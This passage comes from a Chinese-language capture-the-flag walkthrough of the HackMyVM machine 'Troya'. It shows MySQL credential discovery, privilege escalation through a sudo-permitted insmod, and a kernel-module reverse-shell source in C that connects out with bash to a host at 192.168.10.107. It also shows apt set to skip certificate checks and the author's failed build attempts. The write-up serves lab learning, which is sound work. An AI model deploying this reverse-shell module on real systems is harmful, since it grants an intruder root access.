src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237442.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627230703751\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u5207\u6362\u7528\u6237\uff0c\u4f46\u662f\u672a\u679c\uff0c\u53d1\u73b0\u5b58\u5728<code>mysql<\/code>\u670d\u52a1\uff0c\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff0c\u53d1\u73b0<code>hector<\/code>\u4f7f\u7528\u5bc6\u7801<code>pazzword<\/code>\u53ef\u4ee5\u8fde\u63a5\u4e0a\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-sql\">(remote) www-data@troya:\/home\/paul$ ss -tnlup\nNetid           State            Recv-Q           Send-Q                      Local Address:Port                       Peer Address:Port                                                     \nudp             UNCONN           0                0                                 0.0.0.0:68                              0.0.0.0:*                                                        \ntcp             LISTEN           0                128                               0.0.0.0:80                              0.0.0.0:*               users:((&quot;nginx&quot;,pid=471,fd=6))           \ntcp             LISTEN           0                128                               0.0.0.0:22                              0.0.0.0:*                                                        \ntcp             LISTEN           0                80                              127.0.0.1:3306                            0.0.0.0:*                                                        \ntcp             LISTEN           0                128                                  [::]:80                                 [::]:*               users:((&quot;nginx&quot;,pid=471,fd=7))           \ntcp             LISTEN           0                128                                  [::]:22                                 [::]:*                                                    \n\n(remote) www-data@troya:\/var\/www\/html$ mysql -u hector -p\nEnter password: \nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 39\nServer version: 10.3.25-MariaDB-0+deb10u1 Debian 10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType &#039;help;&#039; or &#039;\\h&#039; for help. Type &#039;\\c&#039; to clear the current input statement.\n\nMariaDB [(none)]&gt; show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| yo                 |\n+--------------------+\n2 rows in set (0.017 sec)\n\nMariaDB [(none)]&gt; use yo;\nReading table information for completion of table and column names\nYou can turn off this feature to get a quicker startup with -A\n\nDatabase changed\nMariaDB [yo]&gt; show tables;\n+--------------+\n| Tables_in_yo |\n+--------------+\n| lucky        |\n+--------------+\n1 row in set (0.000 sec)\n\nMariaDB [yo]&gt; select * from lucky;\n+----+--------+--------------------+\n| id | uzer   | pazz               |\n+----+--------+--------------------+\n|  1 | helena | iuyqwejkhdsaiuyewq |\n+----+--------+--------------------+\n1 row in set (0.000 sec)\n\nMariaDB [yo]&gt; exit\nBye<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5207\u6362\u7528\u6237\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237443.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237443.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250627230949023\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>insmod\u63d0\u6743root<\/h3>\n<pre><code class=\"language-bash\">helena@troya:~$ ls -la\ntotal 28\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 .\ndrwxr-xr-x 5 root   root   4096 Oct 22  2020 ..\n-rw-r--r-- 1 helena helena  220 Oct 22  2020 .bash_logout\n-rw-r--r-- 1 helena helena 3526 Oct 22  2020 .bashrc\ndrwxr-xr-x 3 helena helena 4096 Oct 22  2020 .local\n-rw-r--r-- 1 helena helena  807 Oct 22  2020 .profile\n-rw------- 1 helena helena   11 Oct 22  2020 user.txt\nhelena@troya:~$ cat user.txt \npleasestop\nhelena@troya:~$ sudo -l\nMatching Defaults entries for helena on troya:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser helena may run the following commands on troya:\n    (ALL) NOPASSWD: \/usr\/sbin\/insmod<\/code><\/pre>\n<p>\u5565\u73a9\u610f\u554a\u8fd9\u662f\uff1a<\/p>\n<blockquote>\n<p>Linux insmod\uff08\u82f1\u6587\u5168\u62fc\uff1ainstall module\uff09\u547d\u4ee4\u7528\u4e8e\u8f7d\u5165\u6a21\u5757\u3002<\/p>\n<p>Linux\u6709\u8bb8\u591a\u529f\u80fd\u662f\u901a\u8fc7\u6a21\u5757\u7684\u65b9\u5f0f\uff0c\u5728\u9700\u8981\u65f6\u624d\u8f7d\u5165kernel\u3002\u5982\u6b64\u53ef\u4f7fkernel\u8f83\u4e3a\u7cbe\u7b80\uff0c\u8fdb\u800c\u63d0\u9ad8\u6548\u7387\uff0c\u4ee5\u53ca\u4fdd\u6709\u8f83\u5927\u7684\u5f39\u6027\u3002\u8fd9\u7c7b\u53ef\u8f7d\u5165\u7684\u6a21\u5757\uff0c\u901a\u5e38\u662f\u8bbe\u5907\u9a71\u52a8\u7a0b\u5e8f\u3002<\/p>\n<h3>\u8bed\u6cd5<\/h3>\n<pre><code>insmod [-fkmpsvxX][-o <\u6a21\u5757\u540d\u79f0>][\u6a21\u5757\u6587\u4ef6][\u7b26\u53f7\u540d\u79f0 = \u7b26\u53f7\u503c]<\/code><\/pre>\n<p><strong>\u53c2\u6570\u8bf4\u660e<\/strong>\uff1a<\/p>\n<ul>\n<li>-f \u3000\u4e0d\u68c0\u67e5\u76ee\u524dkernel\u7248\u672c\u4e0e\u6a21\u5757\u7f16\u8bd1\u65f6\u7684kernel\u7248\u672c\u662f\u5426\u4e00\u81f4\uff0c\u5f3a\u5236\u5c06\u6a21\u5757\u8f7d\u5165\u3002<\/li>\n<li>-k \u3000\u5c06\u6a21\u5757\u8bbe\u7f6e\u4e3a\u81ea\u52a8\u5378\u9664\u3002<\/li>\n<li>-m \u3000\u8f93\u51fa\u6a21\u5757\u7684\u8f7d\u5165\u4fe1\u606f\u3002<\/li>\n<li>-o&lt;\u6a21\u5757\u540d\u79f0&gt; \u3000\u6307\u5b9a\u6a21\u5757\u7684\u540d\u79f0\uff0c\u53ef\u4f7f\u7528\u6a21\u5757\u6587\u4ef6\u7684\u6587\u4ef6\u540d\u3002<\/li>\n<li>-p \u3000\u6d4b\u8bd5\u6a21\u5757\u662f\u5426\u80fd\u6b63\u786e\u5730\u8f7d\u5165kernel\u3002<\/li>\n<li>-s \u3000\u5c06\u6240\u6709\u4fe1\u606f\u8bb0\u5f55\u5728\u7cfb\u7edf\u8bb0\u5f55\u6587\u4ef6\u4e2d\u3002<\/li>\n<li>-v \u3000\u6267\u884c\u65f6\u663e\u793a\u8be6\u7ec6\u7684\u4fe1\u606f\u3002<\/li>\n<li>-x \u3000\u4e0d\u8981\u6c47\u51fa\u6a21\u5757\u7684\u5916\u90e8\u7b26\u53f7\u3002<\/li>\n<li>-X \u3000\u6c47\u51fa\u6a21\u5757\u6240\u6709\u7684\u5916\u90e8\u7b26\u53f7\uff0c\u6b64\u4e3a\u9884\u8bbe\u7f6e<\/li>\n<\/ul>\n<\/blockquote>\n<pre><code class=\"language-bash\">helena@troya:~$ \/usr\/sbin\/insmod --help\nUsage:\n        insmod [options] filename [args]\nOptions:\n        -V, --version     show version\n        -h, --help        show this help\nhelena@troya:~$ \/usr\/sbin\/insmod -V\nkmod version 26\n+XZ -ZLIB +OPENSSL -EXPERIMENTAL<\/code><\/pre>\n<p>\u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/book.hacktricks.wiki\/zh\/linux-hardening\/privilege-escalation\/linux-capabilities.html?highlight=insmod#cap_sys_module\">https:\/\/book.hacktricks.wiki\/zh\/linux-hardening\/privilege-escalation\/linux-capabilities.html?highlight=insmod#cap_sys_module<\/a><\/p>\n<pre><code class=\"language-c\">\/\/ reverse-shell.c\n#include &lt;linux\/kmod.h&gt;\n#include &lt;linux\/module.h&gt;\nMODULE_LICENSE(&quot;GPL&quot;);\nMODULE_AUTHOR(&quot;AttackDefense&quot;);\nMODULE_DESCRIPTION(&quot;LKM reverse shell module&quot;);\nMODULE_VERSION(&quot;1.0&quot;);\n\nchar* argv[] = {&quot;\/bin\/bash&quot;,&quot;-c&quot;,&quot;bash -i &gt;&amp; \/dev\/tcp\/192.168.10.107\/2345 0&gt;&amp;1&quot;, NULL};\nstatic char* envp[] = {&quot;PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin&quot;, NULL };\n\n\/\/ call_usermodehelper function is used to create user mode processes from kernel space\nstatic int __init reverse_shell_init(void) {\nreturn call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);\n}\n\nstatic void __exit reverse_shell_exit(void) {\nprintk(KERN_INFO &quot;Exiting\\n&quot;);\n}\n\nmodule_init(reverse_shell_init);\nmodule_exit(reverse_shell_exit);<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ Makefile\nobj-m +=reverse-shell.o\n\nall:\n    make -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) modules\n\nclean:\n    make -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) clean<\/code><\/pre>\n<p>Makefile \u4e2d\u6bcf\u4e2a make \u5355\u8bcd\u524d\u7684\u7a7a\u767d\u5b57\u7b26 <strong>\u5fc5\u987b\u662f\u5236\u8868\u7b26\uff0c\u800c\u4e0d\u662f\u7a7a\u683c<\/strong>\uff01<\/p>\n<blockquote>\n<p>vim set noexpandtab<\/p>\n<\/blockquote>\n<p>\u9776\u673a\u4e0a\u9762\u6ca1\u6709<code>make<\/code>\uff0c\u5c1d\u8bd5\u672c\u5730\u7f16\u8bd1\u4e0a\u4f20\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ cat -A Makefile\nobj-m +=reverse-shell.o$\n$\nall:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) modules$\n$\nclean:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) clean$<\/code><\/pre>\n<h3>\u63a5\u4e0b\u6765\u5168\u662f\u8bd5\u9519<\/h3>\n<p>make \u62a5\u9519\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Troya]\n\u2514\u2500$ make\nmake -C \/lib\/modules\/6.12.25-amd64\/build M=\/home\/kali\/temp\/Troya modules\nmake[1]: Entering directory &#039;\/home\/kali\/temp\/Troya&#039;\nmake[1]: *** \/lib\/modules\/6.12.25-amd64\/build: No such file or directory.  Stop.\nmake[1]: Leaving directory &#039;\/home\/kali\/temp\/Troya&#039;\nmake: *** [Makefile:4: all] Error 2<\/code><\/pre>\n<p>\u8bf4\u660e\u5185\u6838\u7248\u672c\u4e0d\u5bf9\uff0c\u9700\u8981\u624b\u52a8\u9009\u62e9\u5185\u6838\u7248\u672c\u8fdb\u884c\u653b\u51fb\u3002\u3002\u3002\u3002<\/p>\n<p>\u53ef\u53c2\u8003\u8fd9\u4f4d\u5927\u4f6c\u7684wp\uff1a<a href=\"https:\/\/nepcodex.com\/2023\/01\/troya-walkthrough-from-hackmyvm-writeup\/\">https:\/\/nepcodex.com\/2023\/01\/troya-walkthrough-from-hackmyvm-writeup\/<\/a><\/p>\n<p>\u6211\u4f7f\u7528<code>vmware<\/code>\u8fdb\u884c\u64cd\u4f5c\u7684\uff0c\u53cd\u6b63\u53ea\u8981\u6700\u540e\u7684\u6587\u4ef6\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">helena@troya:\/tmp$ uname -a\nLinux troya 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU\/Linux<\/code><\/pre>\n<p>\u8981\u5b89\u88c5\u76f8\u540c\u7248\u672c\u5185\u6838\u8fdb\u884c\u64cd\u4f5c\u3002\u3002\u3002\u3002<\/p>\n<h4>\u5931\u8d25\u56de\u653e<\/h4>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ cat \/etc\/apt\/sources.list\n# \n\n# deb cdrom:[Debian GNU\/Linux 10.4.0 _Buster_ - Official amd64 xfce-CD Binary-1 20200509-10:26]\/ buster main\n\n#deb cdrom:[Debian GNU\/Linux 10.4.0 _Buster_ - Official amd64 xfce-CD Binary-1 20200509-10:26]\/ buster main\ndeb http:\/\/deb.debian.org\/debian buster main contrib non-free\ndeb http:\/\/security.debian.org\/debian-security buster\/updates main\ndeb-src http:\/\/security.debian.org\/debian-security buster\/updates main\ndeb [check-valid-until=no] https:\/\/snapshot.debian.org\/archive\/debian\/20201201T031901Z buster main contrib non-free\ndeb-src [check-valid-until=no] https:\/\/snapshot.debian.org\/archive\/debian\/20201201T031901Z buster main contrib non-free\ndeb [check-valid-until=no] https:\/\/snapshot.debian.org\/archive\/debian\/20201201T031901Z buster\/updates main\ndeb-src [check-valid-until=no] https:\/\/snapshot.debian.org\/archive\/debian\/20201201T031901Z buster\/updates main\n# buster-updates, previously known as &#039;volatile&#039;\n# A network mirror was not selected during install.  The following entries\n# are provided as examples, but you should amend them as appropriate\n# for your mirror of choice.\n#\n# deb http:\/\/deb.debian.org\/debian\/ buster-updates main\n# deb-src http:\/\/deb.debian.org\/debian\/ buster-updates main\n\n# This system was installed using small removable media\n# (e.g. netinst, live or single CD). The matching &quot;deb cdrom&quot;\n# entries were disabled at the end of the installation process.\n# For information about how to configure apt package sources,\n# see the sources.list(5) manual.<\/code><\/pre>\n<p>\u7136\u540e\u4e3a\u4e86\u7ed5\u8fc7\u65f6\u95f4\u68c0\u67e5\uff0c\u9700\u8981\u8fdb\u884c\u4e0b\u9762\u64cd\u4f5c\uff1a<\/p>\n<p>\u5728 <code>\/etc\/apt\/apt.conf.d\/<\/code> \u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6\uff08\u5982 <code>99nocheckvalid.conf<\/code>\uff09\uff0c\u5e76\u6dfb\u52a0\u4ee5\u4e0b\u5185\u5bb9\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ ls -la \/etc\/apt\/apt.conf.d                                                                       \ntotal 36\ndrwxr-xr-x 2 root root 4096 Jan 26  2024 .\ndrwxr-xr-x 8 root root 4096 Jun 27 11:59 ..\n-rw-r--r-- 1 root root  399 Sep 20  2023 01autoremove\n-r--r--r-- 1 root root  496 Nov 30  2023 02autoremove-postgresql\n-rw-r--r-- 1 root root 2164 Sep 10  2022 50apt-file.conf\n-rw-r--r-- 1 root root  654 May 21  2023 50command-not-found\n-rw-r--r-- 1 root root   91 Nov 26  2023 50kali\n-rw-r--r-- 1 root root  182 Jan  8  2023 70debconf\n-rw-r--r-- 1 root root  142 Dec 13  2017 80debtags\n\n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ cd $_                  \n\n#  sudo vim 99nocheckvalid.conf                 # \u6587\u4ef6\u540d\u89c4\u5219\uff1a\u5efa\u8bae\u4ee5\u6570\u5b57\u5f00\u5934\uff08\u5982 99\uff09\uff0c\u786e\u4fdd\u5176\u5728\u6700\u540e\u52a0\u8f7d\u3002\n\u250c\u2500\u2500(kali\u327fkali)-[\/etc\/apt\/apt.conf.d]\n\u2514\u2500$ cat 99nocheckvalid.conf \nAcquire::Check-Valid-Until &quot;false&quot;;\n\n# sudo vim 99noverifycert.conf \n\u250c\u2500\u2500(kali\u327fkali)-[\/etc\/apt\/apt.conf.d]\n\u2514\u2500$ cat $_                 \n\/\/ Do not verify peer certificate\nAcquire::https::Verify-Peer &quot;false&quot;;\n\/\/ Do not verify that certificate name matches server name\nAcquire::https::Verify-Host &quot;false&quot;;<\/code><\/pre>\n<p>\u7136\u540e<code>apt update<\/code>\u4f7f\u914d\u7f6e\u751f\u6548\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[\/etc\/apt\/apt.conf.d]\n\u2514\u2500$ sudo apt update<\/code><\/pre>\n<p>\u7136\u540e\u4e0b\u8f7d\u5185\u6838\u7248\u672c\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[\/etc\/apt\/apt.conf.d]\n\u2514\u2500$ sudo apt install linux-headers-4.19.0-12-amd64 linux-image-4.19.0-12-amd64 build-essential\nReading package lists... Done\nBuilding dependency tree... Done\nReading state information... Done\nE: Unable to locate package linux-headers-4.19.0-12-amd64\nE: Couldn&#039;t find any package by glob &#039;linux-headers-4.19.0-12-amd64&#039;\nE: Unable to locate package linux-image-4.19.0-12-amd64\nE: Couldn&#039;t find any package by glob &#039;linux-image-4.19.0-12-amd64&#039;<\/code><\/pre>\n<p>\u5b8c\u86cb\uff0c\u4e0d\u652f\u6301\u8fd9\u4e2a\u7248\u672c\u3002\u3002\u3002\u3002\u3002<\/p>\n<p>\u53ea\u80fd\u627e\u4e00\u4e0b\u73b0\u6210\u7684\u4e86\u3002\u3002\u3002\u3002\u5b9e\u5728\u4e0d\u884c\u5c31\u8981\u627e\u7fa4\u4e3b\u53bb\u8981\u4e86\u3002\u3002\u3002<\/p>\n<p>\u6700\u540e\u7f16\u8bd1\u51fa\u6765\u518d\uff1a<\/p>\n<pre><code class=\"language-bash\">sudo insmod reverse-shell.ko<\/code><\/pre>\n<p>\u5373\u53ef\u62ff\u5230rootshell\u3002\u3002\u3002\u3002<\/p>\n<h4>google hacking<\/h4>\n<p>SML\u4e3a\u4ec0\u4e48\u4e0d\u88c5make\uff01\u56de\u7b54\u6211\uff01\uff01\uff01\uff01Look in my eyes, tell me, why? Why?<\/p>\n<p>\u9ec4\u5929\u4e0d\u8d1f\u6709\u5fc3\u4eba\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237444.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237444.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250628003219773\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>todd\u5c45\u7136\u4e5f\u662f\u8fd9\u4e2a\u7248\u672c\u7684\u3002\u3002\u3002<a href=\"https:\/\/www.cnblogs.com\/smoggy1\/p\/18814849\">https:\/\/www.cnblogs.com\/smoggy1\/p\/18814849<\/a><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237445.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202506280237445.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20250628003444801\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53bb\u7785\u7785\u8fd9\u4fe9\u9776\u673a\uff01\uff01\uff01\uff01\uff01\u7b49\u6211\u6d88\u606f\uff0c\u5144\u5f1f\u4eec\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">root@helium:~# find \/ -name &#039;*make*&#039; 2&gt;\/dev\/null\n\/usr\/lib\/python3\/dist-packages\/urllib3\/packages\/backports\/makefile.py\n\/usr\/lib\/python3\/dist-packages\/urllib3\/packages\/backports\/__pycache__\/makefile.cpython-37.pyc\n\/usr\/lib\/systemd\/systemd-makefs\n\/usr\/share\/cmake\n\/usr\/share\/cmake\/bash-completion\/bash-completion-config.cmake\n\/usr\/share\/cmake\/bash-completion\/bash-completion-config-version.cmake\n\/usr\/share\/bash-completion\/completions\/gnatmake\n\/usr\/share\/bash-completion\/completions\/pmake\n\/usr\/share\/bash-completion\/completions\/automake-1.12\n\/usr\/share\/bash-completion\/completions\/automake-1.14\n\/usr\/share\/bash-completion\/completions\/gmake\n\/usr\/share\/bash-completion\/completions\/colormake\n\/usr\/share\/bash-completion\/completions\/automake-1.13\n\/usr\/share\/bash-completion\/completions\/automake-1.11\n\/usr\/share\/bash-completion\/completions\/makepkg\n\/usr\/share\/bash-completion\/completions\/automake\n\/usr\/share\/bash-completion\/completions\/automake-1.15\n\/usr\/share\/bash-completion\/completions\/gnumake\n\/usr\/share\/bash-completion\/completions\/make\n\/usr\/share\/bash-completion\/completions\/automake-1.10\n\/usr\/share\/console-setup\/kbdnames-maker\n\/usr\/share\/man\/man8\/systemd-makefs.8.gz\n\/usr\/share\/man\/man8\/systemd-makeswap@.service.8.gz\n\/usr\/share\/man\/man8\/systemd-makefs@.service.8.gz\n\/usr\/share\/nano\/makefile.nanorc\n\/usr\/share\/nano\/cmake.nanorc<\/code><\/pre>\n<p>\u4e0d\u6127\u662f\u540c\u4e00\u4e2asml\u51fa\u7684\u9776\u673a\u3002\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">root@todd:~# find \/ -name &quot;*make*&quot; 2&gt;\/dev\/null\n\/usr\/sbin\/make-ssl-cert\n\/usr\/lib\/systemd\/systemd-makefs\n\/usr\/lib\/python3\/dist-packages\/urllib3\/packages\/backports\/makefile.py\n\/usr\/lib\/python3\/dist-packages\/urllib3\/packages\/backports\/__pycache__\/makefile.cpython-37.pyc\n\/usr\/share\/cmake\n\/usr\/share\/cmake\/bash-completion\/bash-completion-config.cmake\n\/usr\/share\/cmake\/bash-completion\/bash-completion-config-version.cmake\n\/usr\/share\/vim\/vim81\/ftplugin\/cmake.vim\n\/usr\/share\/vim\/vim81\/ftplugin\/make.vim\n\/usr\/share\/vim\/vim81\/ftplugin\/automake.vim\n\/usr\/share\/vim\/vim81\/syntax\/cmake.vim\n\/usr\/share\/vim\/vim81\/syntax\/make.vim\n\/usr\/share\/vim\/vim81\/syntax\/automake.vim\n\/usr\/share\/vim\/vim81\/indent\/cmake.vim\n\/usr\/share\/vim\/vim81\/indent\/make.vim\n\/usr\/share\/vim\/vim81\/indent\/automake.vim\n\/usr\/share\/man\/man3\/makecontext.3.gz\n\/usr\/share\/man\/man3\/gnu_dev_makedev.3.gz\n\/usr\/share\/man\/man3\/cfmakeraw.3.gz\n\/usr\/share\/man\/man3\/inet_makeaddr.3.gz\n\/usr\/share\/man\/man3\/makedev.3.gz\n\/usr\/share\/man\/man8\/systemd-makefs.8.gz\n\/usr\/share\/man\/man8\/systemd-makeswap@.service.8.gz\n\/usr\/share\/man\/man8\/systemd-makefs@.service.8.gz\n\/usr\/share\/man\/man8\/make-ssl-cert.8.gz\n\/usr\/share\/bash-completion\/completions\/automake-1.14\n\/usr\/share\/bash-completion\/completions\/colormake\n\/usr\/share\/bash-completion\/completions\/automake-1.12\n\/usr\/share\/bash-completion\/completions\/makepkg\n\/usr\/share\/bash-completion\/completions\/pmake\n\/usr\/share\/bash-completion\/completions\/gnatmake\n\/usr\/share\/bash-completion\/completions\/automake-1.10\n\/usr\/share\/bash-completion\/completions\/automake-1.11\n\/usr\/share\/bash-completion\/completions\/automake-1.13\n\/usr\/share\/bash-completion\/completions\/make\n\/usr\/share\/bash-completion\/completions\/gnumake\n\/usr\/share\/bash-completion\/completions\/gmake\n\/usr\/share\/bash-completion\/completions\/automake-1.15\n\/usr\/share\/bash-completion\/completions\/automake\n\/usr\/share\/nano\/cmake.nanorc\n\/usr\/share\/nano\/makefile.nanorc\n\/usr\/share\/console-setup\/kbdnames-maker<\/code><\/pre>\n<p>\u4e5f\u6ca1\u6709\uff0c\u53cd\u6b63\u6709root\u4e86\uff0c\u76f4\u63a5\u8054\u7f51\u4e0b\u8f7d\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\"># sudo apt install make\n(remote) root@todd:\/tmp# uname -a\nLinux todd 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU\/Linux\n(remote) root@todd:\/tmp# vim reverse-shell.c\n(remote) root@todd:\/tmp# vim Makefile\n(remote) root@todd:\/tmp# cat -A Makefile \nobj-m +=reverse-shell.o$\n$\nall:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) modules$\n$\nclean:$\n^Imake -C \/lib\/modules\/$(shell uname -r)\/build M=$(PWD) clean$\n(remote) root@todd:\/tmp# make\nmake -C \/lib\/modules\/4.19.0-12-amd64\/build M=\/tmp modules\nmake[1]: *** \/lib\/modules\/4.19.0-12-amd64\/build: No such file or directory.  Stop.\nmake: *** [Makefile:4: all] Error 2<\/code><\/pre>\n<p>\u3002\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# ls \/lib\/modules\/$(uname -r)\/build\nls: cannot access &#039;\/lib\/modules\/4.19.0-12-amd64\/build&#039;: No such file or directory<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4e0b\u8f7d<code>https:\/\/github.com\/stratum\/sonic-base-image\/releases\/download\/2022-08-12\/linux-headers-4.19.0-12-2-amd64_4.19.152-1_amd64.deb<\/code><\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# sudo dpkg -i linux-headers-4.19.0-12-2-amd64_4.19.152-1_amd64.deb \nSelecting previously unselected package linux-headers-4.19.0-12-2-amd64.\n(Reading database ... 40390 files and directories currently installed.)\nPreparing to unpack linux-headers-4.19.0-12-2-amd64_4.19.152-1_amd64.deb ...\nUnpacking linux-headers-4.19.0-12-2-amd64 (4.19.152-1) ...\ndpkg: dependency problems prevent configuration of linux-headers-4.19.0-12-2-amd64:\n linux-headers-4.19.0-12-2-amd64 depends on linux-headers-4.19.0-12-2-common (= 4.19.152-1); however:\n  Package linux-headers-4.19.0-12-2-common is not installed.\n linux-headers-4.19.0-12-2-amd64 depends on linux-kbuild-4.19 (&gt;= 4.19.152-1); however:\n  Package linux-kbuild-4.19 is not installed.\n linux-headers-4.19.0-12-2-amd64 depends on linux-compiler-gcc-8-x86; however:\n  Package linux-compiler-gcc-8-x86 is not installed.\n\ndpkg: error processing package linux-headers-4.19.0-12-2-amd64 (--install):\n dependency problems - leaving unconfigured\nErrors were encountered while processing:\n linux-headers-4.19.0-12-2-amd64<\/code><\/pre>\n<p>\u5f3a\u5236\u5b89\u88c5\u4e00\u624b\uff1a<\/p>\n<pre><code class=\"language-bash\">(remote) root@todd:\/tmp# sudo dpkg -i --force-all linux-headers-4.19.0-12-2-amd64_4.19.152-1_amd64.deb\n(Reading database ... 48543 files and directories currently installed.)\nPreparing to unpack linux-headers-4.19.0-12-2-amd64_4.19.152-1_amd64.deb ...\nUnpacking linux-headers-4.19.0-12-2-amd64 (4.19.152-1) over (4.19.152-1) ...\ndpkg: linux-headers-4.19.0-12-2-amd64: dependency problems, but configuring anyway as you requested:\n linux-headers-4.19.0-12-2-amd64 depends on linux-headers-4.19.0-12-2-common (= 4.19.152-1); however:\n  Package linux-headers-4.19.0-12-2-common is not installed.\n linux-headers-4.19.0-12-2-amd64 depends on linux-kbuild-4.19 (&gt;= 4.19.152-1); however:\n  